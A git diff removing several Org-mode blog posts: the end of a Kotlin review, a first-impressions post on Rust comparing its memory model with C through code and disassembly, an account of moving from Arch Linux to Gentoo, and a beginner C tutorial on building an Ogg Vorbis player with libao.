-- ... - -I could seriously just go on for days. There's /a lot/ to keep in your head all -at once. - -Other than the huge scope, there are few things I'd say I dislike about Kotlin. -Sure, there are things I wish it had, like Rust-styled variable shadowing, but -nothing drives me up the wall or anything. =kotlin-mode= feels like it was put -together in a few hours and compilation times are miserable, but other than -that, Kotlin is a solid language. - -Also, I'll forgo talking about the community and the ecosystem. It's just -completely transparent to me right now. From what I /can/ gather, it seems to be -pretty corporate ([[https://kotlin.link/][kotlin.link]] links to a Linkedin group, Google+, Slack...), -which might be because of its use case in Android development, but whatever. - -To conclude, Kotlin's alright. It isn't a miracle of language design, but it's -designed in a way that makes it easy to map onto the JVM. In that sense, it's -pragmatic. I'm not /excited/ about it, but it's levels beyond Java in terms of -how tolerable it is, so I'll take it. Well, for Android development, at least. -For projects where I'm not wrestling with a Java-based platform, I'll use -something more fun. To me, Rust is like Marshmallow Froot Loops, and Kotlin is -like Cheerios.[fn:8] - -I'd also like to take a minute to thank everyone who's given feedback on the -previous post. I really appreciate all the suggestions! I've put Ada and Pony on -my list of languages to cover in the future, and hopefully I'll be able to make -some progress on shrinking that list now that I'm done with the semester and -finally have some free time. - -[fn:1] Source: [[https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=Java+Runtime+Environment][Common Vulnerabilities and Exposures, MITRE]] - -[fn:2] Well, that statement is only partially true. [[https://en.wikipedia.org/wiki/Jazelle][ARM processors can execute JVM bytecode in hardware]], and I would not be surprised if there are other chips out there with similar capabilities. - -[fn:3] Not that it would help me at all in reversing Doom RPG, I was just curious about bytecode. - -[fn:4] I would typically consider Minesweeper to be somewhat trivial, but implementing it for Android was not an easy task. - -[fn:5] I do think that assignment as an expression can occasionally afford some clarity, especially in the way of C, but in my time as a teaching assistant, I can say that I have seen its usage be erroneous more often than clever. - -[fn:6] In case it is unclear from the code, lambdas can be passed to functions sans parentheses. This is just syntactic sugar. - -[fn:7] Java 8 actually has an =Optional= type, but people seem to dislike it. Wonder why... - -[fn:8] This [[https://en.wikipedia.org/wiki/Metacity#Aim][analogy]] is painfully overused, but it just can't be beat. diff --git a/posts/First Impressions of the Rust Programming Language/first-impressions-of-the-rust-programming-language.org b/posts/First Impressions of the Rust Programming Language/first-impressions-of-the-rust-programming-language.org deleted file mode 100644 index 1bb85d2..0000000 --- a/posts/First Impressions of the Rust Programming Language/first-impressions-of-the-rust-programming-language.org +++ /dev/null @@ -1,445 +0,0 @@ -#+TITLE: First Impressions of the Rust Programming Language -#+DATE: <2018-06-08 Fri 13:02> -#+TAGS: opinion, programming, rust - -C is almost 50 years old, and C++ is almost 40 years old. While age is usually -indicative of mature implementations with decades of optimization under their -belts, it also means that the language's feature set is mostly devoid of modern -advancements in programming language design. For that reason, you see a great -deal of encouragement nowadays to move to newer languages - they're designed -with contemporary platforms in mind, rather than working within the limitations -of platforms like the PDP-11. Among said "new languages" are Zig, Myrddin, Go, -Nim, D, Rust... even languages like Java and Elixir that run on a virtual -machine are occasionally suggested as alternatives to the AOT-compiled C and -C++. - -I have plans to look into the characteristics that distinguish each and every -one of these new programming languages, learning them and documenting my first -impressions in the form of blog posts. This post is the beginning of that -adventure: my first impressions of Rust. I chose to evaluate Rust first rather -than one of the other aforementioned contenders for a few reasons. For one, it's -backed by some big names like Mozilla, so I'm expecting it to have more polished -documentation than its independently developed counterparts - we might as well -step off with a language that I can learn without needing to read the compiler's -source code. Also, I've been fairly critical of Rust in the past because that -view was in-line with the opinions of my friends, but now that I've decided to -go out of my way to learn a new programming language, I might as well use this -as an opportunity to see if my criticisms were unfounded. - -Learning these new programming languages is certainly going to be an -undertaking. Because Python and C were the first languages I was introduced to, -I was able to simply buckle down, learn them, and apply them to pretty much -everything I was doing at the time. When I tried to learn other languages later -on, though, I had a hard time gauging whether or not I was making progress. I -think that this is because I wasn't engaged with what I was learning; I was, at -most, writing trivial programs with the language I was learning, and defaulting -to C or Python whenever I needed to work on a "real" project. My goal is to -learn these new languages to the extent that I can meaningfully evaluate them, -so I've looked back on my past attempts and come to the conclusion that I either -need to use them to develop something nontrivial, or make contributions to a -free software project written in the language, as suggested by [[https://hackernoon.com/unconventional-way-of-learning-a-new-programming-language-e4d1f600342c][several]] [[https://codewithoutrules.com/2017/09/09/learn-a-new-programming-language/][articles]]. -In the case of this post, it will be the former, as I've actually come to like -Rust enough to use it for my [[https://github.com/TsarFox/rebuild][reimplementation of Ken Silverman's BUILD engine]]. - -With my introduction for this series out of the way, we can get into my first -impressions of Rust. The first step was diving into the documentation to learn -it, so I guess it would make sense to begin with that. Simply put, there is no -shortage of high-quality learning material for Rust. [[https://doc.rust-lang.org/book/second-edition/index.html]["The Rust Programming -Language,"]] the equivalent of TCPL for Rust, is surprisingly well-written. Even -if you're familiar with a systems programming language like C, I would still -recommend reading it cover-to-cover. I had initially started off with the "Rust -for C++ Programmers" and the "Learn X in Y Minutes" tutorial for Rust, but until -I read TRPL, there was a lot that didn't make sense, and I was completely lost -when it came to using the standard library. The book is friendly, encouraging, -and full of great examples that outline common patterns in the standard library -and various third party crates. My only real complaint with TRPL is that some of -the the analogies step foot into the territory of [[https://www.hillelwayne.com/post/monad-tutorials/][monad tutorials]]. Some -exceptional examples are comparing a [[https://doc.rust-lang.org/book/second-edition/ch15-04-rc.html][reference-counting pointer to the TV in a -family room]], or comparing [[https://doc.rust-lang.org/book/second-edition/ch04-01-what-is-ownership.html][references to tables at a restaurant]]. They aren't all -bad, and there are a few that I actually really enjoy, like the comparison of -[[https://doc.rust-lang.org/book/second-edition/ch16-02-message-passing.html][message passing concurrency to a river]], but most of them try too hard to relate -the concept to something in the real world that it ends up being unhelpful. -Fortunately, the book is on GitHub and accepts pull requests, so I have plans to -send in suggestions for some alternatives. - -Despite the presence of great documentation, I predict that most people are -still going to have a hard time learning Rust. It brings some concepts that you -probably haven't seen before. As far as I'm aware, this is the first programming -language to offer compile-time memory management. (C++ has smart pointers which -are definitely similar, but those rules are enforced at runtime. Rust tightly -integrates its concepts of ownership and lifetimes into the compiler.) TRPL does -a good job of introducing the concepts for compile-time memory management, but I -feel that that it only really scratches the surface. For that reason, I'd like -to point anyone learning Rust to a great supplementary resource on the -memory-model: [[http://cglab.ca/~abeinges/blah/too-many-lists/book/]["Learning Rust With Entirely Too Many Linked Lists"]]. It's -hands-on, and just about as approachable as TRPL. [[http://softwaremaniacs.org/blog/2016/02/12/ownership-borrowing-hard/en/][This post]] might also help if -you're having trouble grasping the general concept. - -That brings me to another point - the features that Rust brings to the table -might be difficult to learn, but learning to use them pays off in the end. -Compile-time memory management requires designing your programs in a way you -might not be used to, but it definitely beats manual memory management, or -letting a runtime take care of garbage collection. - -C's memory model, for example, is manually managed. Heap allocations are -performed via =malloc(3)= and =calloc(3)=, and those allocations exist until -=free(3)= is called. Take this trivial piece of code for making a heap -allocation containing a string: - -#+BEGIN_SRC c :hl_lines 0 -#include <stdio.h> -#include <stdlib.h> -#include <string.h> - -int main(int argc, char **argv) { - char *buf; - - // Make a heap allocation of 14 bytes. - buf = calloc(14, 1); - - // calloc(3) CAN return a null pointer. - if (buf == NULL) { - return 1; - } - - // Fill the allocated buffer with a string, and print it. - strcpy(buf, "Hello, world!"); - puts(buf); - - // Free the heap allocation, since we're done with it. - // This won't always be at the end of the function, but it usually will be. - free(buf); - - return 0; -} -#+END_SRC - -This model requires keeping track of the allocations you make and ensuring that -they're freed when they aren't needed anymore - we easily could've forgotten -that call to =free(3)=. In this really trivial example, it doesn't matter -because the process exits and the operating system reclaims the heap page, but -if the program kept running after printing that string, we'd be dealing with a -memory leak. Anyway, C's manual memory management is explicit enough that you -can more or less predict what this will compile down to. GCC 6.4.0 emits -following amd64 code: - -#+BEGIN_SRC asm :hl_lines 0 - # Prelude. -55 pushq %rbp -4889e5 movq %rsp, %rbp -4883ec20 subq $0x20, %rsp -897dec movl %edi, -0x14(%rbp) -488975e0 movq %rsi, -0x20(%rbp) - - # calloc(14, 1), store pointer on the stack. -be01000000 movl $1, %esi -bf0e000000 movl $0xe, %edi -e892feffff callq sym.imp.calloc -488945f8 movq %rax, -8(%rbp) - - # Check for null pointer. -48837df800 cmpq $0, -8(%rbp) -7507 jne 0x750 -b801000000 movl $1, %eax -eb3b jmp 0x78b - - # (Really optimized) call to strcpy. -488b45f8 movq -8(%rbp), %rax -48ba48656c6c. movabsq $0x77202c6f6c6c6548, %rdx -488910 movq %rdx, 0(%rax) -c740086f726c. movl $0x646c726f, 8(%rax) -66c7400c2100 movw $0x21, 0xc(%rax) - - # puts(buf) -488b45f8 movq -8(%rbp), %rax -4889c7 movq %rax, %rdi -e846feffff callq sym.imp.puts - - # free(buf) -488b45f8 movq -8(%rbp), %rax -4889c7 movq %rax, %rdi -e82afeffff callq sym.imp.free - - # Teardown. -b800000000 movl $0, %eax -c9 leave -c3 retq -0f1f00 nopl 0(%rax) -#+END_SRC - -The equivalent in Rust is similar, but as you'll see, we don't need to -explicitly free the heap allocation. - -#+BEGIN_SRC rust :hl_lines 0 -use std::io; -use std::io::Write; - -fn main() { - let buf = Box::new(b"Hello, world!\n"); - io::stdout().write(*buf); -} -#+END_SRC - -rustc 1.25 compiles this down into the following amd64 code[fn:1]: - -#+BEGIN_SRC asm :hl_lines 0 - # Prelude. -4883ec48 subq $0x48, %rsp - - # Heap allocation, made by the 'std::boxed::Box' smart pointer. -b808000000 movl $8, %eax -89c1 movl %eax, %ecx -4889cf movq %rcx, %rdi -4889ce movq %rcx, %rsi -e8caedffff callq sym.alloc::heap::exchange_malloc::h42fa40019bea1ed3 - - # We actually end up storing a reference to the bytestring, rather than copying the individual bytes into the box. - # Regardless, I think this should still illustrate heap allocation fairly well, and I'm trying to keep the example somewhat simple so we'll roll with it. -488d0de3e705. leaq str.Hello__world, %rcx -4889c6 movq %rax, %rsi -488908 movq %rcx, 0(%rax) -4889742410 movq %rsi, 0x10(%rsp) - - # Get the handle to stdout. -e855590000 callq sym.std::io::stdio::stdout::h537f6f9874379378 -4889442408 movq %rax, 8(%rsp) -488b442408 movq 8(%rsp), %rax -4889442430 movq %rax, 0x30(%rsp) - - # stdout.write(*buf); -488b4c2410 movq 0x10(%rsp), %rcx -488b11 movq 0(%rcx), %rdx -be0e000000 movl $0xe, %esi -89f1 movl %esi, %ecx -488d7c2418 leaq 0x18(%rsp), %rdi -488d742430 leaq 0x30(%rsp), %rsi -e8965a0000 callq sym._std::io::stdio::Stdout_as_std::io::Write_::write::h12094683b11bc5a8 - - # Free the 'std::io::Result' that's returned by 'write'. - # We didn't check its, which is considered bad form, but this is just a simple example. -488d7c2418 leaq 0x18(%rsp), %rdi -e8fef4ffff callq sym.core::ptr::drop_in_place::h72bdea260ebb17c9 - - # Free the stdout handle. -488d7c2430 leaq 0x30(%rsp), %rdi -e8a6f4ffff callq sym.core::ptr::drop_in_place::h55479d5b85e18c56 - - # Finally, free the heap allocation we made. -488d7c2410 leaq 0x10(%rsp), %rdi -e8faf5ffff callq sym.core::ptr::drop_in_place::ha5ac9a364139ad29 - - # Teardown. -4883c448 addq $0x48, %rsp -c3 retq -#+END_SRC - -Besides needing to allocate a handle to interact with stdout, rustc's emitted -assembly does pretty much the same thing as that of GCC - allocate a buffer, -fill it, then free it when we're done using it. Rust just façades this process -with a friendlier abstraction. - -Another feature I've come to really enjoy is that there are no more NULL -pointers - they've been replaced by a strict type system à la Haskell. In the C -example above, we saw that =calloc(3)= can return =NULL= if glibc isn't able to -allocate enough memory. We easily could've forgotten to put in the check to make -sure the it isn't =NULL=, in which case we would get a segmentation fault. -Preventing this sort of thing is what people are talking about when they say -"memory safety." For a segmentation fault, the operating system has to jump in -because we're doing something we shouldn't - dereferencing a =NULL= pointer. -There are plenty of other naughty things we can do in C, like freeing a heap -allocation twice, or even worse, writing outside the bounds of a buffer. Rust -aims to have the compiler step in when we do something dumb, rather than leaving -that to the operating system or exploit mitigation systems. To do this for -=NULL=-able references, Rust provides an =Option= type (and the =Result= type) -that can represent either something or nothing. You see it used extensively in -the standard library. Consider the =find= method of =std::string::String=, a -method for finding the index of a substring in a string. There's the possibility -that the substring exists in the string, in which case we'd just return that -index, but what if it doesn't exist? In the case of C, we might return some -silly value like '-1', but in Rust, we return an =Option<usize>= - either some -=usize= value, or nothing. And the compiler makes sure we understand the -implications of this. - -#+BEGIN_SRC rust :hl_lines 0 -fn main() { - let to_search = String::from("I may contain foo."); - let index = to_search.find("foo"); - println!("index - 5: {}", index - 5); -} -#+END_SRC - -This is a pretty inane example, but please bear with me. If we try to compile -this, rustc errors out, because we're trying to treat a variable that might -represent nothing as if it were guaranteed to be something. - -#+BEGIN_SRC -error[E0369]: binary operation `-` cannot be applied to type `std::option::Option<usize>` - --> test.rs:4:31 - | - 4 | println!("index - 5: {}", index - 5); - | ^^^^^^^^^ - | - = note: an implementation of `std::ops::Sub` might be missing for `std::option::Option<usize>` -#+END_SRC - -This would be fixed by inspecting the Option, ensuring that it *is* something, -rather than nothing. It's an algebraic data type, so we can destructure it and -work with the index if =find= returned something. - -#+BEGIN_SRC rust :hl_lines 0 -fn main() { - let to_search = String::from("I may contain foo."); - if let Some(index) = to_search.find("foo") { - println!("index - 5: {}", index - 5); - } -} -#+END_SRC - -=if let= is a syntax construct that I don't think any other language has, so I -should probably give a brief explanation. That =if= block will run if and only -if =find= returned an instance of =Option= that was =Some=, rather than =None=. -If an instance of =Some= is returned, it contains our index, so we can -destructure it and set that value to the variable, =index=, which we go on to -use. - -You might expect this strictness to bring frustration, but the compiler emits -errors worded simply enough that a layman could understand them, and often makes -suggestions for fixing the code in question. The above isn't a great example, -here's a better one: - -#+BEGIN_SRC rust :hl_lines 0 -fn tabulate_slice(slice: &[u8]) { - for elem in slice.iter() { - println!("{}", elem); - } -} - -fn main() { - let vec = vec![1, 2, 3]; - tabulate_slice(vec); -} -#+END_SRC - -#+BEGIN_SRC -error[E0308]: mismatched types - --> test.rs:9:20 - | - 9 | tabulate_slice(vec); - | ^^^ - | | - | expected &[u8], found struct `std::vec::Vec` - | help: consider borrowing here: `&vec` -#+END_SRC - -Rust has a great deal of functionality that makes it feel like your typical -high-level Ruby or Python, despite being a compiled language. And it isn't -limited to what I described above - here are a few of the other features I -was really impressed with: - -* Conditionals are Expressions - -#+BEGIN_SRC rust :hl_lines 0 -let var = if true { - 1 -} else { - 2 -}; -#+END_SRC - -* No parentheses for the expression part of if/while/for - -Heh, I bet you've seen enough of that already. - -* Semantics for Infinite Loops - -#+BEGIN_SRC rust :hl_lines 0 -loop { - break; -} -#+END_SRC - -* Semantics for Unused Variables/Parameters - -#+BEGIN_SRC rust :hl_lines 0 -for _ in 0..5 { - println!("I'm printed 5 times!"); -} -#+END_SRC - -* Range Notation, Type Inference, and Iterators - -Again, you've seen these already. - -* Tuples, Destructuring, and Pattern Matching via =match= and =if let= Expressions - -#+BEGIN_SRC rust :hl_lines 0 -match to_search.find("foo") { - Some(index) => println!("Foo at {}", index), - None => println!("No foo :("), -} - -// Or, more idiomatically: - -if let Some(index) = to_search.find("foo") { - println!("Foo at {}", index); -} else { - println!("No foo :("); -} -#+END_SRC - -* Automated Testing is Integrated Into the Build System - -#+BEGIN_SRC rust :hl_lines 0 -#[cfg(test)] -mod tests { - #[test] - fn it_works() { - assert_eq!(2 + 2, 4); - } -} -#+END_SRC - -This will be run upon invocation of =cargo test=. - -* Isolation of Unsafe Code - -There's a set of [[https://doc.rust-lang.org/book/second-edition/ch19-01-unsafe-rust.html][rules]] to ensure that the implications of working with unsafe -code are properly contained, but the gist of it is that unsafe code is isolated -by the scoping system. Mostly, I'm glad that the language allows you to work -with unsafe code at all. - -#+BEGIN_SRC rust :hl_lines 0 -fn main() { - unsafe { - asm!("INT3"); - } -} -#+END_SRC - ---- - -That's my opinion on the language design aspect, but the community and ecosystem -are important as well. My experience with the Rust community is limited, but -from what little I have seen, those in the community are friendly and rational. -I submitted [[https://github.com/mattnenterprise/rust-imap/issues/67][a few issues to rust-imap]] and received prompt and helpful responses. -I can also confidently say that the Rust ecosystem a pleasure to work with. It -obviously isn't as mature as some other language ecosystems, but adding a -"crate" dependency to your projects is as easy as adding a line to your -'Cargo.toml'. It's equally easy to publish the code and documentation for crates -you've made yourself. I threw together [[https://github.com/TsarFox/wildmidi][a library for interacting with WildMIDI]], -and a [[https://docs.rs/][docs.rs]] page popped up without any intervention from me. Painless. - -The process of linking those crates into the executable is relatively primitive, -and there are a few complaints in that respect. It's mostly static linking, so -the argument is "you get outdated copies of several libraries on your computer." -However, the benefits of dynamic linking as the alternative is a [[http://harmful.cat-v.org/software/dynamic-linking/][debate I don't -want to get into in this post]]. Right now I'll leave it as, "it's not an option -in the current implementation, and that's a disadvantage," even if I'm -blissfully ignorant of the size of my Rust binaries and /might/ have some -complaints about dynamic linking. - -All in all, I'm very happy with Rust. Maybe it isn't "there" yet as a viable -replacement to C, but it's promising and I have a feeling that, with time, it -will fit nicely into GNU/Linux ecosystem. - -[fn:1] A previous version of this post included *all* of the assembly emitted by the compiler, but in this revision, I've chosen to remove Rust's error/panic handling code because I believe that it actually detracts from the concept I'm trying to show. diff --git a/posts/Installing Gentoo: One Month Later/installing-gentoo-one-month-later.org b/posts/Installing Gentoo: One Month Later/installing-gentoo-one-month-later.org deleted file mode 100644 index 09608b6..0000000 --- a/posts/Installing Gentoo: One Month Later/installing-gentoo-one-month-later.org +++ /dev/null @@ -1,124 +0,0 @@ -#+TITLE: Installing Gentoo: One Month Later -#+DATE: <2018-05-28 Mon 20:10> -#+TAGS: opinion, linux, gentoo - -It seems that the general consensus on "distro hopping," the act of constantly -switching between distributions of GNU/Linux, is that it's a bad habit that -should be consciously avoided. If you do a search for the term, you'll get -articles with titles along the lines of "How I Stopped Distro Hopping." But it's -also a term that gets thrown around loosely, and I think that that "distro -hopping" is an acceptable practice in a lot of the contexts where the phrase is -used. Needless to say, I've "hopped" distributions in the past month, and this -blog post is going to describe the highs and lows of that experience. - -My experiences with GNU/Linux began when I installed openSUSE about four years -ago. I chose it over something more conventional like Ubuntu for its integration -with KDE Plasma 4 (I'm aware that I suffered from bad taste at the time). I -stuck with that until I decided to try Fedora for no particular reason, which -was short-lived. I later switched to Arch Linux to fit in with the cool kids, -and that became my daily driver for a little over two years. Recently, however, -I've switched to Gentoo, because I've wanted to try GNU/Linux without systemd -and friends. Many conversations with people over IRC convinced me that the -maintenance model of those packages is [[https://github.com/systemd/systemd/issues/6237][concerning, to say the least]], and that -it's preferable if the operations-critical parts of my operating system aren't -ridden with CVE's. Gutting Arch of the beasts within is possible, but seriously -complicates everything, so I decided that the best course of action was to just -throw the baby out with the bathwater and use this as an opportunity to -experiment with something I'd been meaning to try. - -Gentoo has been on my radar ever since I installed Arch, as I had several -friends who loved to talk about the merits of a source-based distribution. My -original plan was to wait until I had a machine I could comfortably experiment -with, separate from my workstation or laptop, but since I was hopping distros -anyway, I decided to just go ahead and get my hands dirty. Of course, I didn't -go into the whole migration process without concerns. For one, I want to cleanse -/all/ of machines of systemd. That includes the Raspberry Pi I use as a home -server, and I don't think it's powerful enough to be compiling everything from -source. I opted to install Alpine on that instead. The other problem was that my -laptop's only storage device was an SSD, which I didn't want to subject to -excessive writes. Fortunately the solution to that was straightforward: I was -able to mount =/var/tmp/portage'=as tmpfs so that all the object files generated -while compiling got dumped to an in-memory filesystem instead of the disk. - -After making sure that everything I needed to do was possible on the new setup, -I went ahead and installed it on both my workstation and laptop. The canonical -reference for installing Gentoo, dubbed "the handbook," is incredibly -well-written, so the installation process was painless. I think the quality of -documentation is a big benefit that Gentoo has over Arch; everyone praises the -Arch wiki, but I find that the Gentoo documentation is far more informative and -much more consistent. Setting it up past the initial installation really wasn't -difficult either - I had X11 running the same night. - -I also used this as an opportunity to try out some new software. On Arch, I was -using i3 and rxvt-unicode, but now I'm on dwm and st and I'm really enjoying -both of them. These programs are configured at compile-time, which would've made -using them on Arch a bit unwieldy, but Gentoo's package manager makes the whole -process trivial. I just throw any patches I want in =/etc/portage/patches=, edit -the =config.h= files in =/etc/portage/savedconfig=, and emerge the package. - -Gentoo's package manager is by far the best I've used in my four years of -running GNU/Linux. Being able to interface with it through a couple of files in -=/etc= is a great interface. It also brings USE flags, which is probably the -poster child of Gentoo's features. If you're not familiar with USE flags, they -allow you to enable or disable certain features at compile-time. As an example, -say I want to play some Goldeneye on my Nintendo 64 and use my computer as a -monitor. I have a cheap USB capture card with a kernel driver exposing the -Video4Linux API. I'll need some sort of video player to put the stream on my -monitor, but that video player is going to need to come with support for said -Video4Linux API. I'm what you might call a special case - most GNU/Linux users -don't have capture cards, so that feature isn't important to them. If it isn't -important to them, why should they have to waste disk space housing all the code -and dependencies for it? This is where conditional-compilation comes in. During -the process of turning source code into executable binaries, certain features -can be turned on or off. In a binary distribution like Arch Linux, the package -maintainers need to make an executive decision about which features should be -enabled, because they're making a binary for /everyone/. And, last I checked, -they decided that V4L support wasn't important enough for them to enable it. -Bummer. If you want that feature, you'll need to compile it yourself. And if a -package has features you don't care about, bummer. You have to either deal with -all the dependencies that those features bring in, or compile it yourself. - -USE flags makes this a lot easier by integrating conditional compilation options -into the package manager, rather than forcing you to wrangle with the configure -script of whatever build system the software uses. For example, I can compile -mpv with support for V4L simply by enabling the 'v4l' USE flag. The nice thing -about this is that all packages supporting V4L recognize this same USE flag, and -I can enable it globally - compiling V4L support into everything on my system -without putting much thought into it. And if I just want it for mpv instead of -everything on my system, I'm also able to enable it for just certain packages. - -This freedom does come with the downsides of, well, having to compile everything -from source. Compiling software takes time and processing power, and trying to -optimize the process has caused me some headaches. In Gentoo, you'll want to -pick a decent value for =--jobs= in =make.conf= so that compilation is fast. -=--jobs=, or =-j= is a signal to the build system that it can run some number of -tasks in parallel. I started out with =-j8= on my laptop, since it has 8 cores. -This worked great for smaller packages, but when I tried to emerge Firefox, my -machine gave up half-way through. It was still running. I could ~Ctrl+Z~ from -=emerge= and use it, but the compilation process had hanged and my only option -was to restart it, to which it would hang at another point in the compilation -process. I tried it again with =-j4= and it was able to compile without any -trouble, it just took much longer. I had a similar issue on my workstation - it -has a quad-core processor so I was using =-j4=, but I was regularly getting -segmentation faults while emerging large packages such as LLVM (apparently a -hardware issue that I need to look into), so I lowered it to =-j2=. Of course, -looking back on it now, [[https://blogs.gentoo.org/ago/2013/01/14/makeopts-jcore-1-is-not-the-best-optimization/][the number of cores your machine has isn't a good value -for '-j' anyway.]] - -Another great thing about Portage is the API for making your own packages. It's -shell scripts, so it's similar to how you'd go about making a package on Arch, -but I find the API feels like a massive hack. For one, [[https://devmanual.gentoo.org/][the documentation]], again, -towers over that of Arch, but it also brings something reminiscent of a standard -library: eclasses, which enable you to abstract the commonality between packages -using the same build system. Also, instead of having just one big AUR, -unofficially maintained packages are distributed in user-managed "overlays." I'd -think that pacman can probably do something similar, but you almost never see it -in practice. - -All in all, I'm very happy with the level of customization and freedom that -Gentoo offers me, and I haven't missed systemd one bit. OpenRC, ALSA, and -wpa_supplicant are all I need. Going forward, I'm hoping to become more involved -in the Gentoo community - becoming active on the forums and IRC, and hosting an -overlay for the handful of ebuilds I've made. The Gentoo community seems much -more tightly-knit than the Arch community, and I'm looking forward to meeting -some new friends. diff --git a/posts/Making Your Own Music Player: A Gentle Introduction to Audio Programming/analog-vs-digital.png b/posts/Making Your Own Music Player: A Gentle Introduction to Audio Programming/analog-vs-digital.png Binary files differdeleted file mode 100644 index 6841598..0000000 --- a/posts/Making Your Own Music Player: A Gentle Introduction to Audio Programming/analog-vs-digital.png +++ /dev/null diff --git a/posts/Making Your Own Music Player: A Gentle Introduction to Audio Programming/making-your-own-music-player.org b/posts/Making Your Own Music Player: A Gentle Introduction to Audio Programming/making-your-own-music-player.org deleted file mode 100644 index 0d325b5..0000000 --- a/posts/Making Your Own Music Player: A Gentle Introduction to Audio Programming/making-your-own-music-player.org +++ /dev/null @@ -1,217 +0,0 @@ -#+TITLE: Making Your Own Music Player: A Gentle Introduction to Audio Programming -#+DATE: <2017-07-15 Sat> -#+TAGS: tutorial, programming, audio, c -#+HAUNT_BASE_DIR: /home/jakob/Blog-New/haunt/ - -To start off, I'd like to say that I know very little about audio programming -and digital audio in general. I've never formally studied signal processing, -and hell, I haven't even started high school physics yet. This post merely -documents what I've learned while trying to get sound working in my game, -because there aren't really any other learning resources about this out there. - -In this tutorial, we'll write a basic music player for Ogg Vorbis in C using -two awesome libraries from Xiph.Org. The first, libao, will provide us with a -means to play sound through our speakers, or headphones. or whatever, and we'll -use libvorbisfile to decode the Ogg Vorbis files. - -libao, like most other audio libraries, works by giving us a *PCM buffer* that -we write sound data to, and that gets played back. *PCM* stands for Pulse-Code -Modulation, and it's the basis of digital audio programming. You might have -heard people talk about how analog audio is so much better than digital, and I -think that learning the difference between the two helps to better understand -digial audio. Historically, sound was recorded in terms of analog signals, -which were easy to store as something like field strength on a magnetic medium. -However, digitizing audio requires the signal to be either sampled or -quantized. Both techniques are fairly similar, basically getting an -instantaneous representation of the signal some number of times a second. The -image below does a good job of explaining it, I think. - -#+CAPTION: Diagram showing the difference between an analog sine wave and a quantization of that wave. -[[./analog-vs-digital.png]] - -The rate at which the signal is sampled or quantized is the *frequency*. 44.1 -kHz is typically the standard - meanining that 441,000 samples are taken every -second. The number of *channels* is essentially how many speakers the sound is -meant for. Stereo sound is the standard, so that is typically 2. And finally, -the audio can be 8, 16, 24, or 32 bit, representing the size of the integer -used to represent the sample. - -Before we get into the code; you might need to configure libao if you're using -PulseAudio. Just open it up in your favorite editor and change it as shown -below. - -#+BEGIN_SRC -$ sudo $EDITOR /etc/libao.conf -# Change from -default_driver=alsa -dev=default -# To -default_driver=pulse -# Make sure to remove the dev=default line -#+END_SRC - -Now we're ready to get into the code. We'll include the headers for libao and -libvorbisfile, as well as some standard library headers and the size of the PCM -buffer, which I'll explain soon. - -#+BEGIN_SRC c :hl_lines 0 -#include <stdio.h> -#include <stdlib.h> - -#include <ao/ao.h> -#include <vorbis/vorbisfile.h> - -#define BUF_SIZE 256 -#+END_SRC - -The program is actually simple enough that we can do everything in main. For -clarity, I'll be using C99 variable declaration. Our program will take the file -to play as a command-line argument, so the first thing we need to do is check -argc. - -#+BEGIN_SRC c :hl_lines 0 -if (argc != 2) { - fprintf(stderr, "Usage: %s [PATH]\n", argv[0]); - return 1; -} -#+END_SRC - -Next, we'll initialize libao. We'll also get the ID of the default sound driver -for when we open an audio device later. - -#+BEGIN_SRC c :hl_lines 0 -ao_initialize(); -int default_driver = ao_default_driver_id(); -#+END_SRC - -Now, we'll specify the output format we want. This is what we were talking about -earlier, about frequency and channels and such. The only part of this that -wasn't mentioned was =format.byte_format=, which is just the byte order of the -PCM buffer. The Vorbis decoder will work with either big or little endian, but -we'll just stick with little endian for simplicity. - -#+BEGIN_SRC c :hl_lines 0 -ao_sample_format format = {0}; -format.bits = 16; -format.channels = 2; -format.rate = 44100; -format.byte_format = AO_FMT_LITTLE; -#+END_SRC - -We'll use this format structure to open an audio device with the default sound -driver we figured out earlier. - -#+BEGIN_SRC c :hl_lines 0 -ao_device *device = ao_open_live(default_driver, &format, NULL); -if (device == NULL) { - fprintf(stderr, "Error opening device\n"); - return 1; -} -#+END_SRC - -And now, we'll get our PCM buffer. Some audio libraries have a routine to give -you a a buffer, but libao is alright with us using pretty much anything, so -we'll allocate it with =malloc(3)=. At this point, maybe you're wondering why we -use a buffer. While we /could/ read and play one byte at a time, that can be -very inefficient. It's better to read it into a buffer, and then play that -buffer. You don't want it to be too large, though, as there will be a longer -pause every time the buffer has to be read into. You also don't want it to be -too small. I find that 256 is good enough, but you can tweak that to your needs. -The size should be a power of two. - -#+BEGIN_SRC c :hl_lines 0 -char *buf = malloc(BUF_SIZE); -if (buf == NULL) { - fprintf(stderr, "Error allocating PCM buffer.\n"); - return 1; -} -#+END_SRC - -Now, we'll initialize libvorbisfile, which is done by opening the file we want -to play. This huge switch statement isn't necessary, it's just there to show all -the possible status codes of =ov_fopen=. Checking for a status code of 0 would -be just fine here. - -#+BEGIN_SRC c :hl_lines 0 -OggVorbis_File vf; -switch (ov_fopen(argv[1], &vf)) { -case OV_EREAD: - fprintf(stderr, "Couldn't open %s.\n", argv[1]); - return 1; - -case OV_ENOTVORBIS: - fprintf(stderr, "File contains no vorbis data.\n"); - return 1; - -case OV_EVERSION: - fprintf(stderr, "Vorbis version mismatch.\n"); - return 1; - -case OV_EBADHEADER: - fprintf(stderr, "File contains a bad bitstream header.\n"); - return 1; - -case OV_EFAULT: - fprintf(stderr, "Failure induced by heap/stack corruption.\n"); - return 1; -} -#+END_SRC - -The real meat and potatoes of the program comes next. A loop that continually -reads data into our PCM buffer and plays it, until there's no more data to -play. - -#+BEGIN_SRC c :hl_lines 0 -int read, bitstream; -do { - read = ov_read(&vf, buf, BUF_SIZE, 0, 2, 1, &bitstream); - ao_play(device, buf, BUF_SIZE); -} while (read > 0); -#+END_SRC - -The random integer constants in the call to =ov_read= might be a bit -intimidating, but it's really nothing to worry about. The first parameter is -whether or not the PCM buffer is big endian (which it is not, so we pass 0), the -second is the sample size, where 2 represents 16-bit, and the third is whether -or not the data is signed. You can read more about it in [[https://xiph.org/vorbis/doc/vorbisfile/ov_read.html][the documentation]]. - -Hopefully, things are starting to click around now. Any sound that comes out of -your speakers is just a bunch of numbers, and file formats like Ogg and MP3 are -just a means of compressing those numbers. - -And finally, we'll finish up with some cleanup. - -#+BEGIN_SRC c :hl_lines 0 -free(buf); -ov_clear(&vf); -ao_close(device); -ao_shutdown(); -return 0; -#+END_SRC - -Compilation is pretty easy, too. - -#+BEGIN_SRC -$ gcc -o oggplay oggplay.c -lvorbisfile -lao -#+END_SRC - -Pretty painless, right? Without error handling, this is about 21 lines of code. - -Go ahead, try it out! If you don't save your music as Ogg Vorbis, you can -convert songs with ffmpeg: - 